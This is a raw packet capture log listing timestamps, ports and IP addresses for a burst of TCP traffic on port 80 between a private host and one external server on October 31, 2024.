Oct 31, 2024 11:27:05.485460997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485479116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485496998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485529900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485534906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485567093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485570908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485586882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485605001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485622883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485644102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485651970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485675097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485702038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485712051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485726118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485747099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485775948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485783100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485806942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485816956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485829115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485851049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485882998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485888958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485901117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485928059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485956907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.485961914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.485990047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.486015081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488023043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488058090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488099098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488112926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488121986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488148928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488177061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488183975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488214970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488218069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488234997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488264084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488271952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488303900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488323927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488368988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488380909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488420010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488454103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488460064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488481045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488487959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488502026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488542080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488543987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488576889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488595009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488610983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488624096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488646030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488672972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488677979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488692999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488713026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488746881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488750935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488775969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488782883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488795996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488821983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488836050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488854885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488888025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488908052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488912106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488962889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.488964081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.488997936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489031076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489048004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489049911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489083052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489100933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489130020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489136934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489171028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489196062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489204884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489221096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489238977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489255905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489291906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489304066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489326954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489356041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489360094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489377022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489407063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489409924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489444017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489463091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489480019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489495993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489514112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489547968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489552021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489567995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489588022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489609003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489624023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489641905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489656925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489682913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489691973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489718914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489727020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489743948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489763021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489789009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489798069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489809036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489833117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489861012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489866972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489886045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489901066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489927053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489933014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489948034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.489965916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.489993095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.490000010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.490029097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.490034103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.490060091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.490068913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.490078926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.490103960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.490130901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.490153074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519140005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519153118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519159079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519293070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519305944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519316912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519334078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519351006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519362926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519375086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519392014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519392014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519392014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519395113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519409895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519414902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519414902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519423008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519448042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519476891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519555092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519571066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519583941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519594908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519593954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519613981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519632101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519648075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519824028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519867897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.519879103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.519921064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.600450993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600477934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600490093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600502014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600512981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600524902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600573063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600583076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600591898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600604057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600655079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600681067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.600747108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.600748062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600748062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.600763083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600775003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600785971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600802898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600804090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.600845098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.600909948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.600924969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600936890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600945950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600955963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600966930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.600997925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601025105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601092100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601103067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601111889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601124048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601134062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601152897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601190090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601190090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601269007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601279974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601289034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601299047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601314068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601320982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601372004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601372004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601447105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601458073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601466894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601476908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601495981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601531982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601572990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601584911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601593971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601604939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601627111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601651907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601711988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601725101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601735115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601747036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601757050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601792097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601792097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601824999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601886034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601897955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601902962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601922989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601932049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601943016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601949930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.601953983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601969957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601979971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.601984024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602005959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602030993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602229118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602241039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602251053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602289915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602291107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602302074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602314949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602322102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602328062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602353096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602375031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602400064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602407932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602425098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.602458000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.602480888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.604638100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604660988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604665041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604672909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604682922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604733944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.604754925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604758978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.604767084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604779959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604803085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.604819059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604820013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.604829073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604872942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.604887962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604898930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604939938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.604960918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.604970932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605015039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605025053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605026007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605036020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605063915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605084896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605091095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605103016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605151892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605191946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605201960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605211020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605222940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605241060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605252028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605252028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605266094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605276108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605278015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605312109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605336905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605361938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605380058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605408907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605434895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605437040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605449915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605492115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605493069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605506897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605514050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605530024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605540991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605572939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605581999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605593920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605595112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605635881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605664968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605678082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605690956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605725050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605746984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605751038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605796099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605803013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605813980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605864048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605869055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:05.605876923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605889082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605901003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:05.605917931 CET	80	49730	185.215.113.206	192.168.2.4
